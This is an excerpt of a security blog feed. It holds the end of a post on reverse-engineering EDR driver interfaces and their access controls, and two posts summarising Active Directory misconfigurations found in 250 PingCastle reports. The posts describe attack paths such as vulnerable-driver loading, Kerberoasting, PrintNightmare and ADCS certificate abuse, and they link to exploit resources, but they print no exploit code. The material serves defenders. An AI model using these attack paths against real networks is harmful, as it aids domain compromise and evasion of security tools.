0: kd&amp;gt; dx (((nt!_OBJECT_HEADER*)0xffffc2861e32f520)-&amp;gt;SecurityDescriptor &amp;amp; ~0xa)
(((nt!_OBJECT_HEADER*)0xffffc2861e32f520)-&amp;gt;SecurityDescriptor &amp;amp; ~0xa) :
0xffffd909950257a0
0: kd&amp;gt; !sd 0xffffd909950257a0 1
-&amp;gt;Revision: 0x1
-&amp;gt;Sbz1    : 0x0
-&amp;gt;Control : 0x8004
            SE_DACL_PRESENT
            SE_SELF_RELATIVE
-&amp;gt;Owner   : S-1-5-32-544 (Alias: BUILTIN\Administrators)
-&amp;gt;Group   : S-1-5-18 (Well Known Group: NT AUTHORITY\SYSTEM)
-&amp;gt;Dacl    :
-&amp;gt;Dacl    : -&amp;gt;AclRevision: 0x2
-&amp;gt;Dacl    : -&amp;gt;Sbz1       : 0x0
-&amp;gt;Dacl    : -&amp;gt;AclSize    : 0x1c
-&amp;gt;Dacl    : -&amp;gt;AceCount   : 0x1
-&amp;gt;Dacl    : -&amp;gt;Sbz2       : 0x0
-&amp;gt;Dacl    : -&amp;gt;Ace[0]: -&amp;gt;AceType: ACCESS_ALLOWED_ACE_TYPE
-&amp;gt;Dacl    : -&amp;gt;Ace[0]: -&amp;gt;AceFlags: 0x0
-&amp;gt;Dacl    : -&amp;gt;Ace[0]: -&amp;gt;AceSize: 0x14
-&amp;gt;Dacl    : -&amp;gt;Ace[0]: -&amp;gt;Mask : 0x001f0001
-&amp;gt;Dacl    : -&amp;gt;Ace[0]: -&amp;gt;SID: S-1-5-18 (Well Known Group: NT AUTHORITY\SYSTEM)

-&amp;gt;Sacl    :  is NULL
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This port only allows access from &lt;em&gt;NT AUTHORITY\SYSTEM&lt;/em&gt;.&lt;/p&gt;
&lt;h2&gt;2.4 What can you do if an interface is accessible?&lt;/h2&gt;
&lt;p&gt;First of all, if the Windows ACLs allow access to the device interface or FilterConnectionPort, that doesn&apos;t mean that you can actually access all the functionality offered by these interfaces. The driver itself can perform any arbitrary access checks such as verifying the security token of the calling process or checking the file path of the process.&lt;/p&gt;
&lt;p&gt;This topic usually requires to reverse engineer a driver&apos;s interesting functions and figuring out what they do in the absence of function names in the driver. In the following segment, we give some advice on how to start.&lt;/p&gt;
&lt;h3&gt;2.4.1 Device Driver&lt;/h3&gt;
&lt;p&gt;The most relevant method for interacting with these devices is Device Input/Output Control (IOCTL) using major function code 0xe (14) which allows for communication between 2 partners while offering a channel for (bi)directional data exchange. While read (&lt;em&gt;IRP_MJ_READ&lt;/em&gt;) and write (&lt;em&gt;IRP_MJ_WRITE&lt;/em&gt;) operations could also be relevant, the primary functionality in this context resides within &lt;em&gt;IRP_MJ_DEVICE_CONTROL&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;These dispatch functions can be triggered from user-mode with the following functions:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;em&gt;CreateFile() =&amp;gt; IRP_MJ_CREATE_&lt;/em&gt;&lt;/li&gt;
&lt;li&gt;&lt;em&gt;ReadFile() =&amp;gt; IRP_MJ_READ&lt;/em&gt;&lt;/li&gt;
&lt;li&gt;&lt;em&gt;DeviceIoControl() =&amp;gt; IRP_MJ_CONTROL&lt;/em&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;./irp_majorfunctions.PNG&quot; alt=&quot;&quot; /&gt;
&amp;lt;p class=&quot;figcaption&quot;&amp;gt; Source: Enrique Nissim, IOActive &amp;lt;/p&amp;gt;&lt;/p&gt;
&lt;p&gt;The next step involves reverse engineering to analyze the functionality of these dispatch functions. The functionality is located in &lt;code&gt;DRIVER_DISPATCH&lt;/code&gt; callback functions which are registered during the initialization of the driver. The following screenshot from IDA shows the &lt;em&gt;tedrdrv.sys&lt;/em&gt; driver from Cortex. In this example the callback functions are the same for most of the functions.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./driver_dispatch_cortex.PNG&quot; alt=&quot;&quot; /&gt;
&amp;lt;p class=&quot;figcaption&quot;&amp;gt; Driver Dispatch Functions in Cortex &amp;lt;/p&amp;gt;&lt;/p&gt;
&lt;p&gt;The function &lt;code&gt;sub_1233A0&lt;/code&gt; differentiates between MajorFunction codes. If 0xe (DEVICE_CONTROL) is called the real IO Control Dispatch function is called which looks like the following:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./driver_dispatch_io_cortex_marked.PNG&quot; alt=&quot;&quot; /&gt;
&amp;lt;p class=&quot;figcaption&quot;&amp;gt; Device IO Control Dispatch Function in Cortex &amp;lt;/p&amp;gt;&lt;/p&gt;
&lt;p&gt;The different cases correspond to I/O control codes (IOCTLs). This section of the code reveals an interesting aspect: the process ID of the caller is retrieved and then either compared or passed to other functions. This suggests an authorization mechanism needs to be further analyzed. This is part of the next chapter.&lt;/p&gt;
&lt;h3&gt;2.4.2 FilterConnectionPorts:&lt;/h3&gt;
&lt;p&gt;Filter connection ports are similar to I/O control codes. During the registration of a filter connection port, callback functions can be specified in the &lt;code&gt;FltCreateCommunicationPort&lt;/code&gt; function to handle connection, disconnection, and messages.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./driver_filterconenctionport_cortex.PNG&quot; alt=&quot;&quot; /&gt;
&amp;lt;p class=&quot;figcaption&quot;&amp;gt; FltCreateCommunicationPort() in cyvrfsfd.sys from Cortex &amp;lt;/p&amp;gt;&lt;/p&gt;
&lt;p&gt;The &lt;code&gt;MessageNotifyCallback&lt;/code&gt; implements different cases similar to the IO Control Dispatch function above.&lt;/p&gt;
&lt;h2&gt;2.5 Why are some of the EDR driver interfaces accessible for low privileged users at all?&lt;/h2&gt;
&lt;p&gt;Verifying the access control lists (ACLs) of driver interfaces is a fundamental check in penetration testing, one that, ideally, all vendors should conduct at some stage. It is very likely that, in some instances, ACLs are intentionally set to be broadly accessible. Windows APIs typically offer functionalities to restrict privilege levels for specific device objects. One such example is using &lt;a href=&quot;https://learn.microsoft.com/en-us/windows-hardware/drivers/ddi/wdmsec/nf-wdmsec-wdmlibiocreatedevicesecure&quot;&gt;&lt;code&gt;IoCreateDeviceSecure&lt;/code&gt;&lt;/a&gt; with an explicit security identifier as an argument, or alternatively using &lt;code&gt;IoCreateDevice&lt;/code&gt; and specifying the security identifier within the INF file.&lt;/p&gt;
&lt;p&gt;Why, then, are these ACLs not more restrictive?  During kernel debugging of the driver, we observed that IOCTLs are invoked from various user-space processes. EDRs often employ an architecture where an injected DLL from the EDR agent communicates directly with the driver via IOCTLs on behalf of the injected process. Because these injected processes are frequently low-privileged (e.g., &lt;code&gt;word.exe&lt;/code&gt;), the driver cannot enforce security restrictions based solely on the process&apos;s privilege level. We&apos;ve never implemented an EDR and we don&apos;t have enough details to judge this, but we don&apos;t think that this is the most secure approach. Indeed, several EDR solutions do not adopt this practice.&lt;/p&gt;
&lt;p&gt;Following the process described in the previous sections, there are candidates with open ACLs for the driver interfaces:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;PaloAlto Cortex XDR&lt;/li&gt;
&lt;li&gt;Sophos Intercept X&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The results are described in &lt;a href=&quot;https://labs.infoguard.ch/posts/edr_part2_driver_analysis_results/&quot;&gt;Part 2&lt;/a&gt;&lt;/p&gt;
</content:encoded><author>Manuel Feifel</author></item><item><title>Tear Down The Castle - Part 2</title><link>https://labs.infoguard.ch/posts/tear_down_the_castle_-_part_two/</link><guid isPermaLink="true">https://labs.infoguard.ch/posts/tear_down_the_castle_-_part_two/</guid><description>To gain insight into common issues and patterns of misconfiguration, we analyzed 250 PingCastle reports collected from Incident Response cases and Compromise Assessments.</description><pubDate>Thu, 23 Jan 2025 09:04:20 GMT</pubDate><content:encoded>&lt;p&gt;:::note
This article was first published on &lt;a href=&quot;https://dfir.ch&quot;&gt;dfir.ch&lt;/a&gt;
:::&lt;/p&gt;
&lt;p&gt;This is the second part of a two-part series about Active Directory security. Read the first part &lt;a href=&quot;https://labs.infoguard.ch/posts/tear_down_the_castle_-_part_one/&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;To gain insight into common issues and patterns of misconfiguration, we analyzed 250 PingCastle reports collected from Incident Response cases and Compromise Assessments. We indicate how many of the 250 domains checked were affected by the finding (Affected Domains: N/250)&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://www.pingcastle.com/&quot;&gt;PingCastle&lt;/a&gt; is a popular tool for auditing the security of Active Directory environments, pinpointing vulnerabilities, and offering actionable recommendations for improvement. We are following along &lt;a href=&quot;https://dfir.ch/tweets/varia/#10-ad-commandments&quot;&gt;The Ten AD Commandments&lt;/a&gt;, mapping every point to the corresponding PingCastle finding(s).&lt;/p&gt;
&lt;h1&gt;6. Privileges&lt;/h1&gt;
&lt;h2&gt;6.1 - Introduction&lt;/h2&gt;
&lt;p&gt;PingCastle lists, among many other things, the privileges assigned to domain users via GPOs. Figure 1 shows that the &lt;code&gt;Default Notebook Policy&lt;/code&gt; grants Domain Users the &lt;code&gt;SeLoadDriverPrivilege&lt;/code&gt; privilege.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./seloaddriver.png&quot; alt=&quot;SeLoadDriverPrivilege&quot; title=&quot;SeLoadDriverPrivilege&quot; /&gt;
&amp;lt;p class=&quot;figcaption&quot;&amp;gt;Figure 1: SeLoadDriverPrivilege &amp;lt;/p&amp;gt;&lt;/p&gt;
&lt;p&gt;Why is this bad? As &lt;a href=&quot;https://0xdf.gitlab.io/&quot;&gt;@0xdf&lt;/a&gt; put it: &lt;em&gt;If I can load a driver, I can load a vulnerable driver and then exploit it.&lt;/em&gt; [1] I am aware that some Endpoint Detection and Response (EDR) solutions generate alerts when a vulnerable driver is loaded or written to disk, as such drivers can be exploited for &lt;code&gt;Local Privilege Escalation (LPE)&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./vuln_driver.png&quot; alt=&quot;Exploiting a vulnerable driver&quot; title=&quot;Exploiting a vulnerable driver&quot; /&gt;
&amp;lt;p class=&quot;figcaption&quot;&amp;gt;Figure 2: If I can load a driver, I can load a vulnerable driver and then exploit it. &amp;lt;/p&amp;gt;&lt;/p&gt;
&lt;p&gt;Excerpt from a Volexity blog post: &lt;em&gt;A userland application cannot modify kernel memory, so the malware authors include a vulnerable driver, RTCore64.sys, to read and write into this protected memory space.&lt;/em&gt; A public GitHub repository, KDU, owned by hFiref0x, documents a list of drivers that can be abused for this &lt;code&gt;Bring Your Own Vulnerable Driver (BYOVD)&lt;/code&gt; technique.&lt;/p&gt;
&lt;h2&gt;6.2 - Findings&lt;/h2&gt;
&lt;h3&gt;6.2.1 - Ensure that dangerous privileges are not granted to everyone by GPO&lt;/h3&gt;
&lt;p&gt;The purpose is to ensure that standard users are not granted dangerous privileges. The &lt;code&gt;SeLoadDriverPrivilege&lt;/code&gt; presented above is one of many dangerous privileges. Thomas Roccia (fr0gger) has compiled a &lt;a href=&quot;https://speakerdeck.com/fr0gger/windows-privileges&quot;&gt;list&lt;/a&gt; of Windows privileges (Figure 3).&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./privileges.png&quot; alt=&quot;Windows Privileges&quot; title=&quot;Windows Privileges&quot; /&gt;
&amp;lt;p class=&quot;figcaption&quot;&amp;gt;Figure 3: Windows Privileges &amp;lt;/p&amp;gt;&lt;/p&gt;
&lt;p&gt;Figure 4 shows a snippet from a &lt;code&gt;Default Domain Policy&lt;/code&gt;, granting &lt;code&gt;Èveryone&lt;/code&gt; the &lt;code&gt;SeBackupPrivilege&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./SeBackup.png&quot; alt=&quot;SeBackup&quot; title=&quot;SeBackup&quot; /&gt;
&amp;lt;p class=&quot;figcaption&quot;&amp;gt; Figure 4: SeBackup&amp;lt;/p&amp;gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Affected Domains: &lt;code&gt;13/250&lt;/code&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;h2&gt;6.3 - References &amp;amp; Tools&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;https://www.volexity.com/blog/2023/03/07/using-memory-analysis-to-detect-edr-nullifying-malware/&lt;/li&gt;
&lt;li&gt;https://0xdf.gitlab.io/2020/10/31/htb-fuse.html&lt;/li&gt;
&lt;li&gt;https://techcommunity.microsoft.com/t5/microsoft-security-experts-blog/total-identity-compromise-microsoft-incident-response-lessons-on/ba-p/3753391&lt;/li&gt;
&lt;li&gt;https://speakerdeck.com/fr0gger/windows-privileges&lt;/li&gt;
&lt;/ul&gt;
&lt;h1&gt;7. Harden critical accounts&lt;/h1&gt;
&lt;h2&gt;7.1 - Introduction&lt;/h2&gt;
&lt;p&gt;Add critical accounts to the &lt;code&gt;Protected Users Security Group&lt;/code&gt; to raise the bar for a successful attack against your network. &lt;em&gt;This group provides protections over and above just preventing delegation and makes them even more secure; however, it may cause operational issues, so it is worth testing in your env.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Benefits of using the Protected Users Security Group:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;Credential delegation (CredSSP)&lt;/code&gt; will not cache the user&apos;s plain text credentials [..]&lt;/li&gt;
&lt;li&gt;Beginning with Windows 8.1 and Windows Server 2012 R2, &lt;code&gt;Windows Digest&lt;/code&gt; will not cache the user&apos;s plain text credentials even when &lt;code&gt;Windows Digest&lt;/code&gt; is enabled.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;NTLM&lt;/code&gt; will not cache the user&apos;s plain text credentials or &lt;code&gt;NT one-way function (NTOWF&lt;/code&gt;).&lt;/li&gt;
&lt;li&gt;&lt;code&gt;Kerberos&lt;/code&gt; will no longer create &lt;code&gt;DES&lt;/code&gt; or &lt;code&gt;RC4&lt;/code&gt; keys. Also, it will not cache the user&apos;s plain text credentials or long-term keys after the initial &lt;code&gt;TGT&lt;/code&gt; is acquired.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Accounts that are members of the Protected Users group that authenticate to a Windows Server 2012 R2 domain are unable to:&lt;/p&gt;
&lt;p&gt;✅ Authenticate with &lt;code&gt;NTLM authentication&lt;/code&gt;.&amp;lt;br /&amp;gt;
✅ Use &lt;code&gt;DES&lt;/code&gt; or &lt;code&gt;RC4&lt;/code&gt; encryption types in &lt;code&gt;Kerberos pre-authentication&lt;/code&gt;.&amp;lt;br /&amp;gt;
✅ Be delegated with &lt;code&gt;unconstrained or constrained delegation&lt;/code&gt;.&amp;lt;br /&amp;gt;
✅ Renew the &lt;code&gt;Kerberos TGTs&lt;/code&gt; beyond the initial four-hour lifetime.&amp;lt;br /&amp;gt;&lt;/p&gt;
&lt;p&gt;:::warning{title=&quot;A word of advice&quot;}
Accounts for services and computers should never be members of the Protected Users group. This group provides incomplete protection anyway, because the password or certificate is always available on the host.
:::&lt;/p&gt;
&lt;h2&gt;7.2 - Findings&lt;/h2&gt;
&lt;h3&gt;7.2.1 - At least one member of an admin group is vulnerable to the Kerberoast attack&lt;/h3&gt;
&lt;p&gt;&lt;em&gt;To access a service using Kerberos, a user requests a ticket (named TGS) to the DC specific to the service. This ticket is encrypted using a derivative of the service password, but can be brute-forced to retrieve the original password. Any account having the attribute SPN populated is considered as a service account. Given that any user can request a ticket for a service account, these accounts can have their password retrieved. In addition, services are known to have their password not changed at a regular basis and to use well-known words.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Affected Domains: &lt;code&gt;95/250&lt;/code&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;h3&gt;7.2.2 - Check the use of Kerberos with weak encryption (DES algorithm)&lt;/h3&gt;
&lt;p&gt;&lt;em&gt;The purpose is to verify that no weak encryption algorithm such as DES is used for accounts. DES is a very weak algorithm and once assigned to an account, it can be used in Kerberos ticket requests, even though it is easily cracked. If the attacker cracks the Kerberos ticket, they can steal the token and compromise the user account.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Affected Domains: &lt;code&gt;103/250&lt;/code&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;h3&gt;7.2.3 - Check for the number of Administrator accounts above the baseline&lt;/h3&gt;
&lt;p&gt;&lt;em&gt;The purpose is to verify if the number of administrator accounts is not disproportionate. Very few users should have domain admin accounts.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Affected Domains: &lt;code&gt;51/250&lt;/code&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;h3&gt;7.2.4 - At least one administrator account can be delegated&lt;/h3&gt;
&lt;p&gt;&lt;em&gt;The purpose is to ensure that all Administrator Accounts have the configuration flag &quot;this account is sensitive and cannot be delegated&quot; (or are members of the built-in group &quot;Protected Users&quot; when your domain functional level is at least Windows Server 2012 R2).&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Affected Domains: &lt;code&gt;232/250&lt;/code&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;h2&gt;7.3 - References &amp;amp; Tools&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;https://learn.microsoft.com/en-us/windows-server/security/credentials-protection-and-management/protected-users-security-group&lt;/li&gt;
&lt;li&gt;https://techcommunity.microsoft.com/blog/microsoftsecurityexperts/total-identity-compromise-microsoft-incident-response-lessons-on-securing-active/3753391&lt;/li&gt;
&lt;/ul&gt;
&lt;h1&gt;8. Print Spooler Service&lt;/h1&gt;
&lt;h2&gt;8.1 - Introduction&lt;/h2&gt;
&lt;p&gt;A running &lt;code&gt;print spooler service&lt;/code&gt; on domain controllers is still a relatively common finding in our Active Directory assessments, even though an attack path via &lt;code&gt;spooler service&lt;/code&gt; and &lt;code&gt;unconstrained delegations&lt;/code&gt; have been known for years.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./printer_spooler.png&quot; alt=&quot;The spooler service is remotely accessible&quot; title=&quot;The spooler service is remotely accessible&quot; /&gt;
&amp;lt;p class=&quot;figcaption&quot;&amp;gt; Figure 5: The spooler service is remotely accessible&amp;lt;/p&amp;gt;&lt;/p&gt;
&lt;p&gt;Apart from the (older) attack technique with unconstrained delegations (see above), the printer spooler has had various critical vulnerabilities over the last two years.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./spooler_cves.png&quot; alt=&quot;Printer Spooler vulnerabilites&quot; title=&quot;Printer Spooler vulnerabilites&quot; /&gt;
&amp;lt;p class=&quot;figcaption&quot;&amp;gt; Figure 4: Printer Spooler vulnerability&amp;lt;/p&amp;gt;&lt;/p&gt;
&lt;p&gt;In one of our Incident Response investigations, the attacker attempted to exploit the &lt;code&gt;PrintNightmare&lt;/code&gt; (CVE-2021-34527) vulnerability. PrintNightmare can be used for &lt;code&gt;Local Privilege Escalation&lt;/code&gt; as well as &lt;code&gt;Remote Code Execution&lt;/code&gt;, as the screenshot below shows.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./printnightmare.png&quot; alt=&quot;PrintNightmare&quot; title=&quot;PrintNightmare&quot; /&gt;
&amp;lt;p class=&quot;figcaption&quot;&amp;gt; Figure 5: PrintNightmare&amp;lt;/p&amp;gt;&lt;/p&gt;
&lt;p&gt;Disable the print spooler service on domain controllers if possible to reduce the attack risk in case of an active attacker in the network. Additionally, the corresponding Windows patches (as an example for the LPE via PrintNightmware) must be rolled out and installed quickly across the board.&lt;/p&gt;
&lt;h2&gt;8.2 - Findings&lt;/h2&gt;
&lt;h3&gt;8.2.1 - Ensure that the Print Spooler service cannot be abused to get the DC credentials&lt;/h3&gt;
&lt;p&gt;&lt;em&gt;When there&apos;s an account with unconstrained delegation configured (which is fairly common) and the Print Spooler service running on a computer, you can get that computers credentials sent to the system with unconstrained delegation as a user. With a domain controller, the TGT of the DC can be extracted allowing an attacker to reuse it with a DCSync attack and obtain all user hashes and impersonate them.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Affected Domains: &lt;code&gt;140/250&lt;/code&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;h2&gt;8.3 - References &amp;amp; Tools&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;https://adsecurity.org/?p=4056&lt;/li&gt;
&lt;li&gt;https://github.com/m8sec/CVE-2021-34527&lt;/li&gt;
&lt;li&gt;https://www.cisa.gov/known-exploited-vulnerabilities-catalog&lt;/li&gt;
&lt;/ul&gt;
&lt;h1&gt;9. Easy Wins (for Attackers)&lt;/h1&gt;
&lt;h2&gt;9.1 - Introduction&lt;/h2&gt;
&lt;p&gt;To wrap up this two-part series, here are more points you should focus on to better defend your networks.&lt;/p&gt;
&lt;h2&gt;9.2 - Findings&lt;/h2&gt;
&lt;h3&gt;9.2.3 - Obsolete Domain Controller&lt;/h3&gt;
&lt;p&gt;&lt;em&gt;The purpose is to ensure that there is no use of the obsolete and vulnerable OS Windows Server 20[03|08|12] as Domain Controller within the domain.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;DC-2003&lt;/code&gt;&amp;lt;br /&amp;gt;
&lt;strong&gt;Affected Domains: &lt;code&gt;3/250&lt;/code&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;DC-2008&lt;/code&gt;&amp;lt;br /&amp;gt;
&lt;strong&gt;Affected Domains: &lt;code&gt;21/250&lt;/code&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;DC-2012&lt;/code&gt;&amp;lt;br /&amp;gt;
&lt;strong&gt;Affected Domains: &lt;code&gt;10/250&lt;/code&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;h3&gt;9.2.4 - Number of accounts that do not require Kerberos pre-authentication&lt;/h3&gt;
&lt;p&gt;&lt;em&gt;Without Kerberos pre-authentication, an attacker can request Kerberos data from the domain controller and use this data to crack the account password.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;Check if all accounts require Kerberos pre-authentication&lt;/code&gt;&amp;lt;br /&amp;gt;
&lt;strong&gt;Affected Domains: &lt;code&gt;19/250&lt;/code&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;Check if all admin accounts require Kerberos pre-authentication&lt;/code&gt;&amp;lt;br /&amp;gt;
&lt;strong&gt;Affected Domains: &lt;code&gt;4/250&lt;/code&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;h3&gt;9.2.5 - DC&apos;s have been found where the owner is not in the Domain Admins group or the Enterprise Admin group&lt;/h3&gt;
&lt;p&gt;&lt;em&gt;By default, the &quot;Domain Administrators&quot; group or the &quot;Enterprise Administrators&quot; group are set as owners for &quot;Domain Controllers&quot;. Nonetheless, in some cases (for instance when the server has been promoted from an existing server), the owner can be a non-admin person which joined the server to the domain. If this person has still rights over this account, it can be used to take ownership over the whole domain. A chain of compromising events can be designed to take control of the domain by including this account.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Affected Domains: &lt;code&gt;42/250&lt;/code&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;h3&gt;9.2.6 - DC vulnerability (MS17-010)&lt;/h3&gt;
&lt;p&gt;&lt;em&gt;The purpose is to verify if Domain Controller(s) are vulnerable to the MS17-010 vulnerability.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Affected Domains: &lt;code&gt;2/250&lt;/code&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;h3&gt;9.2.7 - Check if a GPO assigns everyone to a local group&lt;/h3&gt;
&lt;p&gt;&lt;em&gt;The purpose is to identify if there are local groups such as local administrators, terminal server access, where Authenticated Users or Everyone is being granted access by a GPO. It is possible that a GPO adds local membership using a GPO. In this case the rule triggers if one is found with &quot;Everyone&quot; or &quot;Authenticated Users&quot; or &quot;Domain Users&quot;, ... as members. It basically means that the local Group has no restriction on belongs to it. This represents a security risk as Local Group are supposed to have more accesses or rights.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./LocalAdmins.png&quot; alt=&quot;LocalAdmins&quot; title=&quot;LocalAdmins&quot; /&gt;
&amp;lt;p class=&quot;figcaption&quot;&amp;gt; Figure 6: LocalAdmins&amp;lt;/p&amp;gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Affected Domains: &lt;code&gt;9/250&lt;/code&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;h2&gt;9.3 - References &amp;amp; Tools&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;https://cube0x0.github.io/Pocing-Beyond-DA/&lt;/li&gt;
&lt;li&gt;https://www.infosecmatter.com/top-16-active-directory-vulnerabilities/&lt;/li&gt;
&lt;li&gt;https://blog.nviso.eu/2023/10/26/most-common-active-directory-misconfigurations-and-default-settings-that-put-your-organization-at-risk/&lt;/li&gt;
&lt;li&gt;https://techcommunity.microsoft.com/t5/microsoft-security-experts-blog/total-identity-compromise-microsoft-incident-response-lessons-on/ba-p/3753391&lt;/li&gt;
&lt;li&gt;https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/as-rep-roasting-using-rubeus-and-hashcat&lt;/li&gt;
&lt;li&gt;https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/from-dnsadmins-to-system-to-domain-compromise&lt;/li&gt;
&lt;/ul&gt;
&lt;h1&gt;10. Conclusion&lt;/h1&gt;
&lt;p&gt;Keeping an Active Directory (AD) secure takes effort, careful planning, and a good understanding of how attackers might try to break in. After looking at 250 PingCastle reports, we found that many organizations still have common mistakes and outdated setups that make them easy targets. Problems like giving users too many privileges, not securing important accounts, misconfiguring services like the Print Spooler, and ignoring relaying vulnerabilities give attackers the chance to take over entire systems.&lt;/p&gt;
</content:encoded><author>Stephan Berger</author></item><item><title>Tear Down The Castle - Part 1</title><link>https://labs.infoguard.ch/posts/tear_down_the_castle_-_part_one/</link><guid isPermaLink="true">https://labs.infoguard.ch/posts/tear_down_the_castle_-_part_one/</guid><description>To gain insight into common issues and patterns of misconfiguration, we analyzed 250 PingCastle reports collected from Incident Response cases and Compromise Assessments.</description><pubDate>Sun, 19 Jan 2025 02:04:20 GMT</pubDate><content:encoded>&lt;p&gt;:::note
This article was first published on &lt;a href=&quot;https://dfir.ch&quot;&gt;dfir.ch&lt;/a&gt;
:::&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Introduction&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;In the realm of IT infrastructure, Active Directory (AD) serves as a crucial backbone, enabling organizations to manage users, devices, and resources efficiently. However, given its central role, it also presents a significant security target, and maintaining its integrity is paramount. Misconfigurations and overlooked security gaps in AD can expose an organization to critical vulnerabilities, leading to potential breaches, data theft, and system downtime.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;To gain insight into common issues and patterns of misconfiguration, we analyzed 250 PingCastle reports collected from Incident Response cases and Compromise Assessments. We indicate how many of the 250 domains checked were affected by the finding (Affected Domains: N/250)&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://www.pingcastle.com/&quot;&gt;PingCastle&lt;/a&gt; is a popular tool for auditing the security of Active Directory environments, pinpointing vulnerabilities, and offering actionable recommendations for improvement. We are following along &lt;a href=&quot;https://dfir.ch/tweets/varia/#10-ad-commandments&quot;&gt;The Ten AD Commandments&lt;/a&gt;, mapping every point to the corresponding PingCastle finding(s).&lt;/p&gt;
&lt;h1&gt;1. ADCS (Active Directory Certificate Services&lt;/h1&gt;
&lt;h2&gt;1.1 - Introduction&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;./certified_adcs.png&quot; alt=&quot;Certified Pre-Owned&quot; title=&quot;Certified Pre-Owned&quot; /&gt;
&amp;lt;p class=&quot;figcaption&quot;&amp;gt; Figure 1: Certified Pre-Owned &amp;lt;/p&amp;gt;&lt;/p&gt;
&lt;p&gt;The whitepaper &lt;a href=&quot;https://posts.specterops.io/certified-pre-owned-d95910965cd2&quot;&gt;Certified Pre-Owned: Abusing Active Directory Certificate Services&lt;/a&gt; by Will Schroeder and Lee Christensen introduced new attack vectors and techniques for gaining domain administrative rights through &lt;code&gt;Active Directory Certificate Services&lt;/code&gt; (AD CS). Their research demonstrates how attackers—and defenders—can leverage the &lt;code&gt;Certify&lt;/code&gt; tool, developed by SpecterOps, to discover and exploit vulnerable certificates within a network. Below is an excerpt showcasing an example of a vulnerable certificate, sourced from &lt;a href=&quot;https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/from-misconfigured-certificate-template-to-domain-admin&quot;&gt;ired.team&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./certipy.png&quot; alt=&quot;foo&quot; title=&quot;foo&quot; /&gt;
&amp;lt;p class=&quot;figcaption&quot;&amp;gt; Figure 2: Vulnerable certificate&amp;lt;/p&amp;gt;&lt;/p&gt;
&lt;p&gt;In the screenshot above, the presence of &lt;code&gt;ENROLLEE_SUPPLIES_SUBJECT&lt;/code&gt; indicates that a user requesting a certificate based on this template can specify any subject, including domain administrators. This means attackers could potentially request certificates impersonating high-privilege accounts. 🤯 Additionally, the &lt;code&gt;Client Authentication&lt;/code&gt; setting under &lt;code&gt;PkiExtendedKeyUsage&lt;/code&gt; allows the certificate created from this template to be used for authentication against machines within Active Directory, effectively granting access across the network.&lt;/p&gt;
